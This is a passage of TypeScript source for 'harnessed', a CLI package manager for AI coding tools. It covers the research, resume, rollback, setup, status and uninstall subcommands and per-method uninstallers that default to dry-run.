RawOpts {\n query?: string\n apply?: boolean\n dryRun?: boolean\n nonInteractive?: boolean\n model?: 'haiku' | 'sonnet' | 'opus'\n}\n\nexport function registerResearch(program: Command): void {\n program\n .command('research')\n .description('Run research workflow (search category sub-routing → spawn → verbatim COMPLETE)')\n .requiredOption('--query <text>', 'research prompt (required)')\n .option('--apply', 'execute the spawn (default: dry-run preview only)')\n .option('--dry-run', 'force dry-run (overrides --apply if both are set)')\n .option('--non-interactive', 'skip all prompts (CI / scripts) — requires --apply or --dry-run')\n .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n .action(async (raw: RawOpts) => {\n // H1 gate (sibling install-base.ts pattern)\n validateNonInteractiveFlags(raw, 'research --query <text>')\n if (!raw.query) {\n console.error('error: --query <text> is required')\n process.exit(2)\n }\n\n const taskCtx: TaskContext = { task: raw.query, task_type: 'search' }\n\n // Dry-run path: arbitrate-only preview, never spawn (mirrors install --dry-run).\n if (raw.dryRun === true || (!raw.apply && !raw.nonInteractive)) {\n const preview = await runRouting(taskCtx, {\n skillsRoot: undefined,\n // Stub spawn — dry-run never reaches it; explicit COMPLETE keeps shape happy.\n spawn: async () => 'dry-run preview\\nCOMPLETE',\n maxIterations: 1,\n ...(raw.model ? { agentOpts: { modelOverride: raw.model } } : {}),\n })\n if ('aborted' in preview) {\n console.error(`aborted: ${preview.reason}`)\n process.exit(2)\n }\n if ('ok' in preview && preview.ok === false) {\n console.error(`error: ${preview.phase} — ${preview.error.message}`)\n process.exit(1)\n }\n console.log(`[dry-run] matched_rule: ${preview.matchedRule?.id ?? '(fallback supervisor)'}`)\n console.log(`[dry-run] query: ${raw.query}`)\n console.log(' (use --apply to spawn the subagent and emit verbatim COMPLETE round-trip)')\n process.exit(0)\n }\n\n // --apply path: real spawn requires SDK runtime dep (F40-2 deferred to phase 1.5).\n // Until then, runRouting.defaultSpawn throws a friendly placeholder error.\n const result = await runRouting(taskCtx, {\n ...(raw.model ? { agentOpts: { modelOverride: raw.model } } : {}),\n })\n if ('aborted' in result) {\n console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if ('ok' in result && result.ok === false) {\n console.error(`error: ${result.phase} — ${result.error.message}`)\n if (result.phase === 'install') {\n console.error(` fix: 'harnessed install <skill> --apply' (see error above)`)\n }\n process.exit(1)\n }\n console.log(result.result)\n process.exit(0)\n })\n}\n","// Phase 3.1 W4 T4.4 — `harnessed resume` 12th CLI subcommand (R7.3 D-03 RELOAD).\n// Sister: src/cli/doctor.ts L136-175 (--json flag + exit code pattern, PATTERNS § 1 #7 85% reuse).\n// Dynamic import of runResume matches doctor.ts L131 lazy-load pattern (CI-friendly + smaller cold-start).\n\nimport type { Command } from 'commander'\n\nexport function registerResume(program: Command): void {\n program\n .command('resume')\n .description(\n 'Reload checkpoint from paused workflow + print resume hint (D-03 — user invokes phase command manually)',\n )\n .option('--json', 'output JSON instead of human-readable')\n .action(async (opts: { json?: boolean }) => {\n const { runResume } = await import('../checkpoint/resume.js')\n const r = await runResume()\n if (opts.json) {\n console.log(JSON.stringify(r, null, 2))\n process.exit(r.status === 'ok' ? 0 : 1)\n return\n }\n if (r.status === 'no-paused-phase') {\n console.error(`✗ ${r.error}`)\n process.exit(1)\n }\n if (r.status === 'corrupt') {\n console.error(`✗ ${r.error}\\n path: ${r.path}`)\n process.exit(1)\n }\n if (r.cwdWarn) console.error(r.cwdWarn)\n console.log(`phase: ${r.checkpoint.phase}`)\n console.log(`last_task: ${r.checkpoint.last_task}`)\n if (r.checkpoint.key_decisions.length) {\n console.log(`key_decisions: ${r.checkpoint.key_decisions.slice(0, 5).join(', ')}`)\n }\n if (r.checkpoint.canonical_refs.length) {\n console.log(`canonical_refs: ${r.checkpoint.canonical_refs.slice(0, 3).join(', ')}`)\n }\n console.log(r.resumeHint)\n process.exit(0)\n })\n}\n","// Phase 1.2 cli subcommand `rollback` per ADR 0004 § 3 + Pattern C + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3 — CRLF/LF preservation): each backup\n// metadata.json file entry records `eol: 'lf' | 'crlf'` from the original\n// on-disk content (lib/backup.ts detects via Buffer.includes('\\r\\n')). On\n// restore we MUST honor that field — naive `fs.writeFile(buf)` would\n// otherwise round-trip CRLF→LF on Win→Unix migrations or vice versa, mutating\n// the user's original file content. We restore by converting buf to a string\n// then re-emitting with the recorded eol convention.\n//\n// IMPL NOTE (Rule 1 / ENOENT pure-create sentinel): backup() records files\n// that did not yet exist (oldText === '' + ENOENT) as `{ backup: '', sha1: '' }`.\n// On rollback this means \"delete the target file\" rather than \"restore\". We\n// honor that sentinel by calling unlink() instead of writeFile().\n\nimport { createHash } from 'node:crypto'\nimport { readFile, unlink, writeFile } from 'node:fs/promises'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\n\ninterface BackupFileEntry {\n target: string\n backup: string\n sha1: string\n eol: 'lf' | 'crlf'\n}\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: BackupFileEntry[]\n}\n\nfunction normalizeEol(buf: Buffer, eol: 'lf' | 'crlf'): Buffer {\n // Convert all line endings to LF first, then to target convention.\n const lf = buf.toString('utf8').replace(/\\r\\n/g, '\\n')\n return Buffer.from(eol === 'crlf' ? lf.replace(/\\n/g, '\\r\\n') : lf, 'utf8')\n}\n\nexport function registerRollback(program: Command): void {\n program\n .command('rollback <timestamp>')\n .description('Restore files from a backup snapshot (preserves original LF/CRLF)')\n .action(async (timestamp: string) => {\n const dir = resolve(process.cwd(), '.harnessed-backup', timestamp)\n const metaPath = join(dir, 'metadata.json')\n let meta: BackupMetadata\n try {\n meta = JSON.parse(await readFile(metaPath, 'utf8')) as BackupMetadata\n } catch (err) {\n console.error(\n `error: cannot read ${metaPath}: ${(err as Error).message}\\n` +\n ` fix: run 'harnessed backup list' to see available timestamps`,\n )\n process.exit(1)\n return\n }\n // Reverse iteration so files restored later (higher in dependency chain) come first.\n for (const entry of [...meta.files].reverse()) {\n if (entry.backup === '') {\n // Pure-create sentinel — original file did not exist; rollback = unlink.\n try {\n await unlink(entry.target)\n } catch (err) {\n const code = (err as NodeJS.ErrnoException).code\n if (code !== 'ENOENT') {\n console.error(`error: cannot unlink ${entry.target}: ${(err as Error).message}`)\n process.exit(1)\n return\n }\n }\n continue\n }\n const buf = await readFile(entry.backup)\n const sha1 = createHash('sha1').update(buf).digest('hex')\n if (sha1 !== entry.sha1) {\n console.error(\n `error: backup checksum mismatch for ${entry.target} (expected ${entry.sha1.slice(0, 12)}, got ${sha1.slice(0, 12)})`,\n )\n process.exit(1)\n return\n }\n await writeFile(entry.target, normalizeEol(buf, entry.eol))\n }\n console.log(`restored ${meta.files.length} file(s) from ${timestamp}`)\n })\n}\n","// v1.0.1 T1.5 — cli subcommand `setup` one-time onboarding per v1.0.1 critical fix.\n//\n// IMPL NOTE (dry-run default + --apply execute, sister install.ts pattern):\n// `harnessed setup` defaults to dry-run preview; explicit `--apply` executes.\n// Copies each workflows/<name>/ dir that contains a SKILL.md to ~/.claude/skills/<name>/.\n// Workflows without SKILL.md (e.g. plan-feature which has only workflow.yaml) are skipped.\n//\n// Exit codes:\n// 0 → at least 1 workflow installed (or previewed in dry-run)\n// 1 → fs.cp failed\n// 2 → no SKILL.md workflows found (nothing to install)\n\nimport { cp, readdir, stat } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { getPackageRoot } from './lib/packagePath.js'\n\ninterface RawOpts {\n apply?: boolean\n}\n\nexport function registerSetup(program: Command): void {\n program\n .command('setup')\n .description(\n 'One-time onboarding: copy workflows/*/SKILL.md dirs to ~/.claude/skills/ (dry-run by default — pass --apply to execute)',\n )\n .option('--apply', 'execute the copy (default: dry-run preview only)')\n .action(async (raw: RawOpts) => {\n const dryRun = raw.apply !== true\n const workflowsDir = resolve(getPackageRoot(), 'workflows')\n const skillsBase = resolve(homedir(), '.claude', 'skills')\n\n // Find all workflow dirs that contain a SKILL.md\n let entries: string[]\n try {\n entries = await readdir(workflowsDir)\n } catch {\n console.error(`error: workflows directory not found at ${workflowsDir}`)\n process.exit(1)\n }\n\n const toInstall: string[] = []\n for (const entry of entries.sort()) {\n const src = join(workflowsDir, entry)\n try {\n const s = await stat(src)\n if (!s.isDirectory()) continue\n await stat(join(src, 'SKILL.md')) // throws if missing\n toInstall.push(entry)\n } catch {\n // no SKILL.md — skip\n }\n }\n\n if (toInstall.length === 0) {\n console.log('setup: no workflow directories with SKILL.md found — nothing to install')\n process.exit(2)\n }\n\n if (dryRun) {\n console.log(\n `[dry-run] setup would install ${toInstall.length} workflow(s) to ${skillsBase}:`,\n )\n for (const name of toInstall) {\n console.log(` ${name} → ${join(skillsBase, name)}`)\n }\n console.log(` run with --apply to execute`)\n process.exit(0)\n }\n\n let installed = 0\n for (const name of toInstall) {\n const src = join(workflowsDir, name)\n const dst = join(skillsBase, name)\n try {\n await cp(src, dst, { recursive: true, force: true })\n console.log(` installed ${name} → ${dst}`)\n installed++\n } catch (e) {\n console.error(` error: failed to copy ${name}: ${(e as Error).message}`)\n process.exit(1)\n }\n }\n\n console.log(`\\nsetup complete: ${installed} workflow(s) installed to ${skillsBase}`)\n process.exit(0)\n })\n}\n","// Phase 1.2 cli subcommand `status` per ADR 0004 contract 6 + Pattern C.\n//\n// Reads .harnessed/state.json (lib/state.ts SSOT) and prints installed\n// upstreams, their pinned version, and install timestamp. Partial-install\n// state (ADR 0004 contract 6) is reported when state.json contains an entry\n// without a matching backup snapshot or vice versa — phase 1.2 minimum\n// uses the readState() default-on-ENOENT idiom and treats absence as\n// \"nothing installed yet\" (not an error).\n//\n// Phase 5.1 W2 T2.5 — D-07 lock holder display: reads .harnessed/.lock\n// content (proper-lockfile mtime) + stale auto-detect 10s indicator.\n\nimport { stat } from 'node:fs/promises'\nimport type { Command } from 'commander'\nimport lockfile from 'proper-lockfile'\nimport { readState } from '../installers/lib/state.js'\n\nexport function registerStatus(program: Command): void {\n program\n .command('status')\n .description('Show installed upstreams (from .harnessed/state.json)')\n .action(async () => {\n const state = await readState(process.cwd())\n const names = Object.keys(state.installed).sort()\n if (names.length === 0) {\n console.log('no installs recorded (.harnessed/state.json absent or empty)')\n } else {\n for (const n of names) {\n const e = state.installed[n]\n if (!e) continue\n console.log(`${n} @ ${e.version} (installed ${e.installedAt})`)\n }\n console.log(`\\n${names.length} install${names.length === 1 ? '' : 's'} recorded`)\n }\n\n // D-07 LOCKED — display lock holder pid + mtime + stale indicator\n // proper-lockfile.check() returns true when lock is currently held\n try {\n const isLocked = await lockfile.check('.harnessed', {\n lockfilePath: '.harnessed/.lock',\n stale: 10_000,\n })\n if (isLocked) {\n const s = await stat('.harnessed/.lock')\n const ageMs = Date.now() - s.mtime.getTime()\n const stale = ageMs > 10_000\n console.log(`\\nlock: held (since ${s.mtime.toISOString()})${stale ? ' — STALE' : ''}`)\n console.log(' to release: wait for process to finish or delete .harnessed/.lock')\n } else {\n console.log('\\nlock: free')\n }\n } catch {\n // .harnessed/ absent or inaccessible = no lock; silent per D-07\n }\n })\n}\n","// Phase 5.2 W1 T1.1 — cli subcommand `uninstall` per R10.3 + ADR 0004.\n//\n// IMPL NOTE (D-05 dry-run default): `harnessed uninstall <name>` defaults to\n// dry-run preview; explicit `--apply` required to mutate. Sister install.ts pattern.\n//\n// IMPL NOTE (D-06 --yes bypass): when --apply AND NOT --yes, interactive\n// p.confirm() default No. --yes without --apply → exit 2 H1 gate.\n//\n// IMPL NOTE (D-07 NO --keep-backup): RawOpts explicitly omits keepBackup.\n//\n// Exit code mapping (ADR 0004 contract 6):\n// 0 → uninstall succeeded (ok: true or ephemeral no-op)\n// 1 → uninstall failed (ok: false)\n// 2 → user-aborted / flag-missing / dry-run preview\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport * as p from '@clack/prompts'\nimport type { Command } from 'commander'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { runUninstall } from '../uninstallers/index.js'\nimport { getPackageRoot } from './lib/packagePath.js'\n\ninterface RawOpts {\n apply?: boolean\n dryRun?: boolean\n yes?: boolean\n nonInteractive?: boolean\n}\n\nexport function registerUninstall(program: Command): void {\n program\n .command('uninstall <name>')\n .description('Uninstall an upstream (dry-run by default — pass --apply to execute)')\n .option('--apply', 'execute the uninstall (default: dry-run preview only)')\n .option('--dry-run', 'force dry-run (overrides --apply if both are set)')\n .option('--yes', 'skip interactive confirm — requires --apply (CI / scripts)')\n .option('--non-interactive', 'alias for --yes (CI compat)')\n .action(async (name: string, raw: RawOpts) => {\n // H1 pre-action gate (D-06): --yes without --apply → exit 2.\n const yes = raw.yes === true || raw.nonInteractive === true\n if (yes && !raw.apply) {\n console.error(\n `error: --yes requires --apply to execute\\n` +\n ` fix: harnessed uninstall ${name} --yes --apply`,\n )\n process.exit(2)\n }\n\n // Alias resolution (sister install.ts pattern).\n const { resolveAlias } = await import('../manifest/aliases.js')\n const resolvedName = resolveAlias(name) ?? name\n // R10.4 D-04 hardening site 2 — screen resolved alias redirect (defense-in-depth).\n checkPathSafe(resolvedName)\n\n // Manifest lookup (tools/ first, skill-packs/ fallback).\n const manifestPath = resolve(getPackageRoot(), `manifests/tools/${resolvedName}.yaml`)\n const skillPackPath = resolve(getPackageRoot(), `manifests/skill-packs/${resolvedName}.yaml`)\n let yamlSrc: string\n let chosenPath = manifestPath\n try {\n yamlSrc = await readFile(manifestPath, 'utf8')\n } catch {\n try {\n yamlSrc = await readFile(skillPackPath, 'utf8')\n chosenPath = skillPackPath\n } catch {\n console.error(\n `error: manifest '${resolvedName}' not found\\n` +\n ` fix: ensure manifests/tools/${resolvedName}.yaml or manifests/skill-packs/${resolvedName}.yaml exists`,\n )\n process.exit(1)\n }\n }\n\n const v = validateManifestFile(yamlSrc, chosenPath)\n if (!v.ok) {\n for (const e of v.errors) console.error(`error: ${e.message} at ${e.path}`)\n process.exit(1)\n }\n\n const method = v.manifest.spec.install.method\n const dryRun = raw.dryRun === true || !raw.apply\n\n // D-05 dry-run preview (default when no --apply).\n if (dryRun) {\n console.log(`[dry-run] would uninstall '${resolvedName}' via method '${method}'`)\n console.log(` run with --apply to execute`)\n process.exit(2)\n }\n\n // D-06 interactive confirm (--apply without --yes).\n if (!yes) {\n const answer = await p.confirm({\n message: `Uninstall '${resolvedName}'? This cannot be undone.`,\n initialValue: false,\n })\n if (p.isCancel(answer) || answer === false) {\n console.error(`aborted: user cancelled`)\n process.exit(2)\n }\n }\n\n const opts = { apply: true, dryRun: false, yes }\n const result = await runUninstall(v.manifest, opts)\n\n if ('aborted' in result) {\n console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if (result.ok) {\n console.log(`uninstalled ${resolvedName}`)\n process.exit(0)\n }\n console.error(`error: ${result.error}`)\n process.exit(1)\n })\n}\n","// Phase 5.2 W0 #BI — extract dry-run gate duplicate from 7 installer files.\n// Sister: src/installers/lib/err.ts (Phase 5.1 W0 #BG extract pattern).\n//\n// 7-site duplicate pattern (npmCli + mcpStdioAdd + mcpHttpAdd +\n// ccPluginMarketplace + gitCloneWithSetup + npxSkillInstaller + ccHookAdd):\n// if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n//\n// Used by all 7 src/uninstallers/*.ts (Wave 1 T1.2).\n// NOT used by installers/ — installer files unchanged Phase 5.2.\n\n/** Minimal context shape — expanded by src/uninstallers/lib/types.ts (T1.1). */\ninterface DryRunCtx {\n opts: { dryRun: boolean }\n}\n\n/** Dry-run abort result — mirrors UninstallResult aborted variant (T1.1). */\ntype AbortResult = { aborted: true; reason: 'dry-run' }\n\n/**\n * Returns an abort result if ctx.opts.dryRun is true, otherwise null.\n * Callers: `const abort = dryRunGate(ctx); if (abort) return abort`\n */\nexport function dryRunGate(ctx: DryRunCtx): AbortResult | null {\n if (ctx.opts.dryRun) return { aborted: true, reason: 'dry-run' }\n return null\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 7/7: cc-hook-add.\n// Reverse JSON deep-merge: filter matching hook entry from ~/.claude/settings.json.\n// Idempotent: settings.json absent or hook not present → ok:true noop.\n// Sister: src/installers/ccHookAdd.ts — inverse of install-time merge.\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\ninterface Settings {\n hooks?: Record<string, { matcher?: string; command: string }[]>\n [k: string]: unknown\n}\n\nexport const uninstallCcHookAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-hook-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const settingsPath = join(homedir(), '.claude', 'settings.json')\n let existing: string\n try {\n existing = await readFile(settingsPath, 'utf8')\n } catch {\n // File absent — hook can't be present, idempotent noop.\n return { ok: true, removedPaths: [] }\n }\n\n let settings: Settings\n try {\n settings = JSON.parse(existing) as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'preflight',\n error: `malformed settings.json: ${(e as Error).message.slice(0, 200)}`,\n }\n }\n\n const ev = install.hook_event\n const cmd = install.hook_command\n const matcher = install.hook_matcher\n\n if (!settings.hooks?.[ev]) {\n // Hook event block absent — idempotent noop.\n return { ok: true, removedPaths: [] }\n }\n\n const before = settings.hooks[ev].length\n settings.hooks[ev] = settings.hooks[ev].filter(\n (h) => !(h.command === cmd && h.matcher === matcher),\n )\n\n // Clean up empty hook event array.\n if (settings.hooks[ev].length === 0) delete settings.hooks[ev]\n if (Object.keys(settings.hooks).length === 0) delete settings.hooks\n\n if (settings.hooks?.[ev]?.length === before || before === settings.hooks?.[ev]?.length) {\n // No change — hook was not present, idempotent noop.\n }\n\n const newText = `${JSON.stringify(settings, null, 2)}\\n`\n await writeFile(settingsPath, newText)\n\n return { ok: true, removedPaths: [settingsPath] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 4/7: cc-plugin-marketplace.\n// BDL T1.0: `claude plugin uninstall <plugin>@<marketplace>` (scope defaults user).\n// parseCmd inline — single caller, YAGNI per RESEARCH § 7 Q2.\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/ccPluginMarketplace.ts parseCmd — extract pluginAtMkt only.\nfunction extractPluginAtMkt(cmd: string): string | null {\n const m = cmd.match(/(?:\\/?plugin)\\s+install\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return null\n const pluginAtMkt = m[1].replace(/[;&]+$/, '')\n return pluginAtMkt.includes('@') ? pluginAtMkt : null\n}\n\nexport const uninstallCcPluginMarketplace: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-plugin-marketplace') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const pluginAtMkt = extractPluginAtMkt(install.cmd)\n if (!pluginAtMkt) {\n return {\n ok: false,\n phase: 'preflight',\n error: `cc-plugin-marketplace cmd missing plugin install <plugin>@<marketplace>: '${install.cmd.slice(0, 80)}'`,\n }\n }\n\n const r = await runArgs(['plugin', 'uninstall', pluginAtMkt], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude plugin uninstall exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [pluginAtMkt] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 5/7: git-clone-with-setup.\n// Node 22 native fs.rm cross-OS (no shell spawn per RESEARCH zero-risk).\n// extractCloneTarget inline — sister src/installers/gitCloneWithSetup.ts L70-98 YAGNI.\n\nimport { rm } from 'node:fs/promises'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/gitCloneWithSetup.ts extractCloneTarget — refactor to shared lib if 3rd caller appears.\nfunction extractCloneTarget(cmd: string): string | null {\n const idx = cmd.indexOf('git clone')\n if (idx < 0) return null\n const tail = cmd.slice(idx + 'git clone'.length).trim()\n const tokens = tail.split(/\\s+/)\n let i = 0\n while (i < tokens.length) {\n const t = tokens[i]\n if (t === undefined || !t.startsWith('-')) break\n if (t === '--depth' || t === '--branch' || t === '-b') {\n i += 2\n } else if (t.includes('=')) {\n i += 1\n } else {\n i += 2\n }\n }\n const dest = tokens[i + 1]\n if (!dest || dest === '&&' || dest === ';' || dest === '|') return null\n if (dest.startsWith('~/')) {\n const home = process.env.HOME ?? process.env.USERPROFILE\n if (!home) return null\n return `${home}${dest.slice(1)}`\n }\n return dest\n}\n\nexport const uninstallGitCloneWithSetup: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'git-clone-with-setup') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const cloneTarget = extractCloneTarget(install.cmd)\n if (!cloneTarget) {\n return {\n ok: false,\n phase: 'preflight',\n error: `git-clone-with-setup cmd missing parseable 'git clone <url> <dest>': '${install.cmd.slice(0, 80)}'`,\n }\n }\n\n await rm(cloneTarget, { recursive: true, force: true, maxRetries: 3 })\n return { ok: true, removedPaths: [cloneTarget] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 3/7: mcp-http-add.\n// BDL T1.0: `claude mcp remove <name>` transport-agnostic (same cmd as mcpStdioAdd).\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallMcpHttpAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-http-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const r = await runArgs(['mcp', 'remove', name], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude mcp remove exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [name] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 2/7: mcp-stdio-add.\n// BDL T1.0: `claude mcp remove <name>` (no --scope needed; transport-agnostic).\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallMcpStdioAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-stdio-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const r = await runArgs(['mcp', 'remove', name], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude mcp remove exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [name] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 1/7: npm-cli.\n// D-02: ephemeral detect (npx --yes / npx -y in install.cmd) → no-op + warn exit 0.\n// Otherwise: `npm uninstall <pkg>` via direct spawn (NOT runArgs — runArgs prefixes 'claude').\n\nimport { spawn } from 'node:child_process'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallNpmCli: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npm-cli') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n // D-02: ephemeral detect — npx --yes / npx -y means runtime-only, nothing to uninstall.\n if (/\\bnpx\\s+(--yes|-y)\\b/.test(install.cmd)) {\n const name = ctx.manifest.metadata.name\n console.warn(\n `ephemeral install: nothing to uninstall ('${name}' uses 'npx --yes' runtime-only invocation; no persistent install to remove)`,\n )\n return { ok: true, removedPaths: [] }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n // Extract package name from install.cmd (e.g. \"npm install -g ctx7\" → \"ctx7\")\n const m = install.cmd.match(/npm\\s+(?:install|i)\\s+(?:-g\\s+)?(\\S+)/)\n const pkg = m?.[1] ?? ctx.manifest.metadata.upstream.source\n\n const isWin = process.platform === 'win32'\n const result = await new Promise<{ exitCode: number; stderr: string }>((resolve) => {\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'npm', 'uninstall', '-g', pkg], { windowsHide: true })\n : spawn('npm', ['uninstall', '-g', pkg], { shell: false })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout]` })\n }, 30_000)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: e.message })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n\n if (result.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `npm uninstall exited ${result.exitCode}: ${result.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [pkg] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 6/7: npx-skill-installer.\n// NOT ephemeral (npxSkill writes persistent files per RESEARCH § 2 L155 + Pitfall 2).\n// extractSkillName inline — sister src/installers/npxSkillInstaller.ts L47-54 YAGNI.\n\nimport { rm } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/npxSkillInstaller.ts extractSkillName — refactor to shared lib if 3rd caller appears.\nfunction extractSkillName(cmd: string, fallback: string): string {\n const m = cmd.match(/\\bskills(?:@\\S+)?\\s+add\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return fallback\n const ref = m[1]\n const seg = ref.split('/')\n return seg[seg.length - 1] ?? fallback\n}\n\nexport const uninstallNpxSkillInstaller: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npx-skill-installer') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const skillName = extractSkillName(install.cmd, name)\n const skillDir = join(homedir(), '.claude', 'skills', skillName)\n\n await rm(skillDir, { recursive: true, force: true, maxRetries: 3 })\n return { ok: true, removedPaths: [skillDir] }\n}\n","// Phase 5.2 W1 T1.2 — uninstaller dispatch table.\n// Sister: src/installers/index.ts symmetric pattern.\n// D-01 LOCKED: per-method 7 files (no levelOf() — uninstall has no L4 --system gate).\n\nimport { uninstallCcHookAdd } from './ccHookAdd.js'\nimport { uninstallCcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { uninstallGitCloneWithSetup } from './gitCloneWithSetup.js'\nimport type { Manifest, Uninstaller, UninstallOpts, UninstallResult } from './lib/types.js'\nimport { uninstallMcpHttpAdd } from './mcpHttpAdd.js'\nimport { uninstallMcpStdioAdd } from './mcpStdioAdd.js'\nimport { uninstallNpmCli } from './npmCli.js'\nimport { uninstallNpxSkillInstaller } from './npxSkillInstaller.js'\n\nexport const uninstallers: Record<Manifest['spec']['install']['method'], Uninstaller> = {\n 'npm-cli': uninstallNpmCli,\n 'mcp-stdio-add': uninstallMcpStdioAdd,\n 'mcp-http-add': uninstallMcpHttpAdd,\n 'cc-plugin-marketplace': uninstallCcPluginMarketplace,\n 'git-clone-with-setup': uninstallGitCloneWithSetup,\n 'npx-skill-installer': uninstallNpxSkillInstaller,\n 'cc-hook-add': uninstallCcHookAdd,\n}\n\nexport async function runUninstall(\n manifest: Manifest,\n opts: UninstallOpts,\n): Promise<UninstallResult> {\n const uninstaller = uninstallers[manifest.spec.install.method]\n return uninstaller({ manifest, opts, cwd: process.cwd() })\n}\n","#!/usr/bin/env node\nimport { Command } from 'commander'\nimport pkg from '../package.json' with { type: 'json' }\nimport { registerAudit } from './cli/audit.js'\nimport { registerAuditLog } from './cli/audit-log.js'\nimport { registerBackupList } from './cli/backup-list.js'\nimport { registerDoctor } from './cli/doctor.js'\nimport { registerExecuteTask } from './cli/execute-task.js'\nimport { registerGc } from './cli/gc.js'\nimport { registerInstall } from './cli/install.js'\nimport { registerInstallBase } from './cli/install-base.js'\nimport { registerManifestAdd } from './cli/manifest-add.js'\nimport { registerResearch } from './cli/research.js'\nimport { registerResume } from './cli/resume.js'\nimport { registerRollback } from './cli/rollback.js'\nimport { registerSetup } from './cli/setup.js'\nimport { registerStatus } from './cli/status.js'\nimport { registerUninstall } from './cli/uninstall.js'\n\nconst program = new Command()\n\nprogram\n .name('harnessed')\n .description('AI coding harness package manager + composition orchestrator')\n .version(pkg.version)\n\n// 12 subcommands per ADR 0004 + 0007 + 0008 + 0011 + 0012 + 0014 draft\n// (execute-task added in phase 2.2 — B-28 独立子命令;\n// manifest-add 